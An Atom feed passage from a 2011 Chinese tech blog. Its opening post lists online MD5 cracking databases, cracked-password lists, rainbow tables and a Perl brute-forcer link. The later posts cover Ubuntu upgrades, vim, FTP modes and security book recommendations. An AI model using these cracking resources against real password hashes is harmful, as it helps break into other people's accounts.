-&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="http://www.milw0rm.com/cracker/insert.php" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://www.milw0rm.com/cracker/insert.php&lt;/a&gt;&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;(Milw0rm Cracker db)&lt;br /&gt;
&lt;br /&gt;
-&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="http://blacklight.gotdns.org/cracker/crack.php" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://blacklight.gotdns.org/cracker/crack.php&lt;/a&gt;&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;(2,456,288)&lt;br /&gt;
&lt;br /&gt;
-&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="http://www.shell-storm.org/md5" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://www.shell-storm.org/md5&lt;/a&gt;&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;( The data base currently contains 169582 passwords )&lt;br /&gt;
&lt;br /&gt;
-&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="http://md5.xpzone.de/" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://md5.xpzone.de&lt;/a&gt;&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;(Need Account)&lt;br /&gt;
&lt;br /&gt;
-&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="http://passcracking.com/" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://passcracking.com/&lt;/a&gt;&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;(Register to increase your priority)&lt;br /&gt;
&lt;br /&gt;
-&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="http://www.xmd5.org/" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://www.xmd5.org&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
-&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="http://www.googlebig.com/forum/-perl-md5-brute-forcer-t-3782.html#pid4395" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;Perl Script: MD5 Brute Forcer&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
CRACKED PASSWORD LIST&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
&lt;a href="http://www.md5oogle.com/md5hashes.php" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://www.md5oogle.com/md5hashes.php&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.hashchecker.com/?_sls=hash_list&amp;amp;_from=1" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://www.hashchecker.com/?_sls=hash_list&amp;amp;_from=1&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.milw0rm.com/cracker/list.php" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://www.milw0rm.com/cracker/list.php&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://darkc0de.com/database/cracked.txt" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://darkc0de.com/database/cracked.txt&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
RAINBOW TABLE&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
&lt;a href="http://www.freerainbowtables.com/en/download/" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://www.freerainbowtables.com/en/download/&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.rainbowtables.net/" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://www.rainbowtables.net/&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br class="Apple-interchange-newline" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-4772321273568893410?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/na0ccblz5jEg5XFxbbpdOKwENpA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/na0ccblz5jEg5XFxbbpdOKwENpA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/na0ccblz5jEg5XFxbbpdOKwENpA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/na0ccblz5jEg5XFxbbpdOKwENpA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/p-MPkAZfUHo" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=4772321273568893410" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/4772321273568893410?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/4772321273568893410?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/p-MPkAZfUHo/biggest-md5-crack-databases.html" title="Biggest MD5 crack databases" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/08/biggest-md5-crack-databases.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUICRn8_fip7ImA9WhdXEEo.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-5293128029419654753</id><published>2011-07-31T20:32:00.000-07:00</published><updated>2011-08-22T22:32:47.146-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-22T22:32:47.146-07:00</app:edited><title>ubuntu 笔记</title><content type="html">持续更新， updating&lt;br /&gt;
&lt;br /&gt;
2011-7-28&lt;br /&gt;
&lt;br /&gt;
Q: 如何升级Google Chrome&lt;br /&gt;
A:&lt;br /&gt;
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -.&lt;br /&gt;
sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" &amp;gt;&amp;gt; /etc/apt/sources.list.d/google.list'&lt;br /&gt;
sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade&lt;br /&gt;
&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Q: ubuntu 10.10 升级 11.04&amp;nbsp; 遇到 The disc drive for / is not ready yet or not present&lt;br /&gt;
A:&lt;br /&gt;
察看/etc/fstab， 发现被修改， 恢复到升级前的样子，问题依旧。&lt;br /&gt;
求助万能的Google&lt;br /&gt;
http://askubuntu.com/questions/34997/disk-drive-not-ready-yet-or-not-available&lt;br /&gt;
后面索引到&lt;br /&gt;
http://ubuntuforums.org/showthread.php?t=1724209&lt;br /&gt;
&lt;br /&gt;
解决方法，输入root密码后&lt;br /&gt;
&lt;br /&gt;
mount -o remount, rw /&lt;br /&gt;
apt-get update -f&lt;br /&gt;
apt-get install -f&lt;br /&gt;
apt-get upgrade&lt;br /&gt;
apt-get dist-upgrade&lt;br /&gt;
&lt;br /&gt;
实际上我的问题更久严重，遇到了依赖问题。&lt;br /&gt;
执行 dpkg --configure -a&amp;nbsp; 后，正常进入系统。&lt;br /&gt;
&lt;br /&gt;
现在需要 aptitude出场了，它能解决依赖问题。&lt;br /&gt;
&lt;br /&gt;
aptitude&amp;nbsp; full-upgrade&lt;br /&gt;
&lt;br /&gt;
Q: 如何安全地升级内核&lt;br /&gt;
A:&lt;br /&gt;
sudo add-apt-repository ppa:kernel-ppa/ppa&lt;br /&gt;
sudo apt-get update -f&lt;br /&gt;
apt-cache showpkg linux-headers&lt;br /&gt;
&lt;br /&gt;
安装需要的内核, 替换其中的内核版本&lt;br /&gt;
sudo apt-get install linux-headers-2.6.39-0 linux-headers-2.6.39-0-generic linux-image-2.6.39-0-generic --fix-missing&lt;br /&gt;
&lt;br /&gt;
Q. ubuntu 下如何手动升级Firefox&lt;br /&gt;
A：&lt;br /&gt;
下载firefox-*.tar.bz2 , 解压到 /opt/firefox 即可。&lt;br /&gt;
建议先禁用插件，以避免麻烦&lt;br /&gt;
&lt;br /&gt;
Q. ubuntu 下怎么使用vmware ESX 的client&lt;br /&gt;
A.&lt;br /&gt;
vmware 官方没有提供linux的ESX client， 比较好的方法是找一台支持远程桌面的windows 安装客户端，然后&lt;br /&gt;
执行命令：&lt;br /&gt;
$ rdesktop 10.20.1.75 -u administrator -p password -g 1024x768 -s 'c:\Program Files\VMware\Infrastructure\Virtual Infrastructure Client\Launcher\VpxClient.exe' -D&lt;br /&gt;
&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-5293128029419654753?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/nClp-1_RaypyzDgrhdmRb6tDx6o/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/nClp-1_RaypyzDgrhdmRb6tDx6o/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/nClp-1_RaypyzDgrhdmRb6tDx6o/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/nClp-1_RaypyzDgrhdmRb6tDx6o/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/BsVezb0_tsc" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=5293128029419654753" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/5293128029419654753?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/5293128029419654753?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/BsVezb0_tsc/ubuntu.html" title="ubuntu 笔记" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/07/ubuntu.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUcMSXw_cSp7ImA9WhdTF0w.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-7571424380526852188</id><published>2011-07-14T23:58:00.000-07:00</published><updated>2011-07-14T23:58:08.249-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-14T23:58:08.249-07:00</app:edited><title>ubuntu 10.10 升级到 11.04 崩溃解决一例</title><content type="html">现像： The disc drive for / is not ready yet or not present&lt;br /&gt;
&lt;br /&gt;
察看/etc/fstab， 发现被修改， 恢复到升级前的样子，问题依旧。&lt;br /&gt;
求助万能的Google&lt;br /&gt;
http://askubuntu.com/questions/34997/disk-drive-not-ready-yet-or-not-available&lt;br /&gt;
后面索引到 &lt;br /&gt;
http://ubuntuforums.org/showthread.php?t=1724209&lt;br /&gt;
&lt;br /&gt;
解决方法，输入root密码后&lt;br /&gt;
&lt;br /&gt;
mount -o remount, rw /&lt;br /&gt;
apt-get update -f&lt;br /&gt;
apt-get install -f&lt;br /&gt;
apt-get upgrade&lt;br /&gt;
apt-get dist-upgrade&lt;br /&gt;
&lt;br /&gt;
实际上我的问题更久严重，遇到了依赖问题。&lt;br /&gt;
执行 dpkg --configure -a&amp;nbsp; 后，正常进入系统。&lt;br /&gt;
&lt;br /&gt;
现在需要 aptitude出场了，它能解决依赖问题。&lt;br /&gt;
&lt;br /&gt;
aptitude&amp;nbsp; full-upgrade &lt;br /&gt;
&lt;br /&gt;
OK， All Done。&amp;nbsp; 纪录下来， 供兄弟们参考。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-7571424380526852188?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Teto9yLQUfAfIF8TmAViPBJtaas/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Teto9yLQUfAfIF8TmAViPBJtaas/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Teto9yLQUfAfIF8TmAViPBJtaas/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Teto9yLQUfAfIF8TmAViPBJtaas/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/F0OLOALs9OA" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=7571424380526852188" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/7571424380526852188?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/7571424380526852188?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/F0OLOALs9OA/ubuntu-1010-1104.html" title="ubuntu 10.10 升级到 11.04 崩溃解决一例" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/07/ubuntu-1010-1104.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEMEQ3s9eSp7ImA9WhdTF0w.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-8744506824584344291</id><published>2011-07-14T23:46:00.000-07:00</published><updated>2011-07-14T23:46:42.561-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-14T23:46:42.561-07:00</app:edited><title>更换 vim color scheme</title><content type="html">文件下载： &lt;a href="http://code.google.com/p/vimcolorschemetest/"&gt;&lt;span class="Apple-style-span" style="background-color: white; color: #0e774a; font-family: arial,sans-serif; font-size: x-small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 15px; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;code.google.com/p/&lt;b&gt;vimcolorscheme&lt;/b&gt;test/&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
mkdir ~/.vim/colors&lt;br /&gt;
cp xxx.vim ~/vim/colors&lt;br /&gt;
&lt;br /&gt;
在vim命令行 &amp;nbsp; ：color&amp;nbsp; xxx&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-8744506824584344291?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/SlfSHkWY4hbjiBITvNjxgeG42AI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SlfSHkWY4hbjiBITvNjxgeG42AI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/SlfSHkWY4hbjiBITvNjxgeG42AI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SlfSHkWY4hbjiBITvNjxgeG42AI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/-vniYUcdHoc" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=8744506824584344291" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/8744506824584344291?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/8744506824584344291?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/-vniYUcdHoc/vim-color-scheme.html" title="更换 vim color scheme" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/07/vim-color-scheme.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkQMRXo9eyp7ImA9WhZXFUw.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-3021623715306973092</id><published>2011-05-04T06:05:00.000-07:00</published><updated>2011-05-04T06:06:24.463-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-04T06:06:24.463-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>对网络安全的理解</title><content type="html">最近在wooyun上看了很多漏洞，发现很多厂商对漏洞的理解还是很片面的。只关注一些比较直接的问题，对一些相对间接的漏洞就往往忽略。安全是一个整体，大意失荆州。&lt;br /&gt;
&lt;br /&gt;
因此我觉得网络安全问题还是会持续存在的，因为攻防的转换其实就是人与人之间的较量。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-3021623715306973092?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/MDkWbLZTWCj2JF1-F05pObMvnpg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/MDkWbLZTWCj2JF1-F05pObMvnpg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/MDkWbLZTWCj2JF1-F05pObMvnpg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/MDkWbLZTWCj2JF1-F05pObMvnpg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/dVb6rPtZYeE" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=3021623715306973092" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/3021623715306973092?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/3021623715306973092?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/dVb6rPtZYeE/blog-post.html" title="对网络安全的理解" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/05/blog-post.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEQCQ385eSp7ImA9WhZRF0s.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-6095158972900905017</id><published>2011-04-13T23:26:00.000-07:00</published><updated>2011-04-13T23:26:02.121-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-04-13T23:26:02.121-07:00</app:edited><title>[转载] FTP传输的两种形式</title><content type="html">ASCII传输方式假定用户正在拷贝的文件包含的简单ASCII码文本，如果在远程机器上运行的不是UNIX，当文件传输时ftp通常会自动地调整 文件的内容以便于把文件解释成另外那台计算机存储文本文件的格式。但是常常有这样的情况，用户正在传输的文件包含的不是文本文件，它们可能是程序，数据 库，字处理文件或者压缩文件（尽管字处理文件包含的大部分是文本，其中也包含有指示页尺寸，字库等信息的非打印字符）。在拷贝任何非文本文件之前，用  binary 命令告诉ftp逐字拷贝，不要对这些文件进行处理，这也是下面要讲的二进制传输。&lt;br /&gt;
&lt;br /&gt;
二进制传输模式在二进制传输中，保存文件的位序，以便原始和拷贝的是逐位一一对应的。即使目的地机器上包含位序列的文件是没意义的。例 如，macintosh以二进制方式传送可执行文件到Windows系统，在对方系统上，此文件不能执行。如果你在ASCII方式下传输二进制文件，即使 不需要也仍会转译。这会使传输稍微变慢  ，也会损坏数据，使文件变得不能用。（在大多数计算机上，ASCII方式一般假设每一字符的第一有效位无意义，因为ASCII字符组合不使用它。如果你传 输二进制文件，所有的位都是重要的。）如果你知道这两台机器是同样的，则二进制方式对文本文件和数据文件都是有效的。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-6095158972900905017?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/TldgdGFQL2EMFOblG94E4WCrYhQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/TldgdGFQL2EMFOblG94E4WCrYhQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/TldgdGFQL2EMFOblG94E4WCrYhQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/TldgdGFQL2EMFOblG94E4WCrYhQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/QRiY1r4pJNA" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=6095158972900905017" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/6095158972900905017?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/6095158972900905017?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/QRiY1r4pJNA/ftp.html" title="[转载] FTP传输的两种形式" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/04/ftp.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU4ER305fCp7ImA9WhZTF0w.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-7451587450305884250</id><published>2011-03-21T06:25:00.000-07:00</published><updated>2011-03-21T06:25:06.324-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-03-21T06:25:06.324-07:00</app:edited><title>一些不错的安全书</title><content type="html">黑客大曝光(第6版)&lt;br /&gt;
Linux黑客大曝光：Linux安全机密与解决方案(第2版)&lt;br /&gt;
黑客攻防技术宝典：第2版.系统实战篇&lt;br /&gt;
黑客攻防技术宝典：Web 实战篇&lt;br /&gt;
黑客新型攻击防范：深入剖析犯罪软件&lt;br /&gt;
SQL注入攻击与防御&lt;br /&gt;
数据库黑客大曝光&lt;br /&gt;
黑客大曝光：Web应用安全机密与解决方案&lt;br /&gt;
灰帽攻击安全手册--渗透测试与漏洞分析技术&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-7451587450305884250?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/1V_qAlPpSjm3k9Dydj-_jQmdPyw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1V_qAlPpSjm3k9Dydj-_jQmdPyw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/1V_qAlPpSjm3k9Dydj-_jQmdPyw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1V_qAlPpSjm3k9Dydj-_jQmdPyw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/zzZoTyFvjM8" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=7451587450305884250" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/7451587450305884250?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/7451587450305884250?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/zzZoTyFvjM8/blog-post.html" title="一些不错的安全书" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/03/blog-post.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEYMQno7fyp7ImA9Wx9aGUk.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-4589522814923210608</id><published>2011-03-12T07:03:00.000-08:00</published><updated>2011-03-12T07:03:03.407-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-03-12T07:03:03.407-08:00</app:edited><title>Windows 7 和 Windows XP 启动引导过程比较</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh6.googleusercontent.com/-JuSta0fpLho/TXuLGcjdhNI/AAAAAAAAAvw/bBK5Lhpg-Wo/s1600/boot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="247" src="https://lh6.googleusercontent.com/-JuSta0fpLho/TXuLGcjdhNI/AAAAAAAAAvw/bBK5Lhpg-Wo/s320/boot.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-4589522814923210608?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/fbYkyKFOUZFNcXmgu1MiZ239rSs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fbYkyKFOUZFNcXmgu1MiZ239rSs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/fbYkyKFOUZFNcXmgu1MiZ239rSs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fbYkyKFOUZFNcXmgu1MiZ239rSs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/cz9dd7Uv6c8" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=4589522814923210608" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/4589522814923210608?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/4589522814923210608?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/cz9dd7Uv6c8/windows-7-windows-xp.html" title="Windows 7 和 Windows XP 启动引导过程比较" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><media:thumbnail 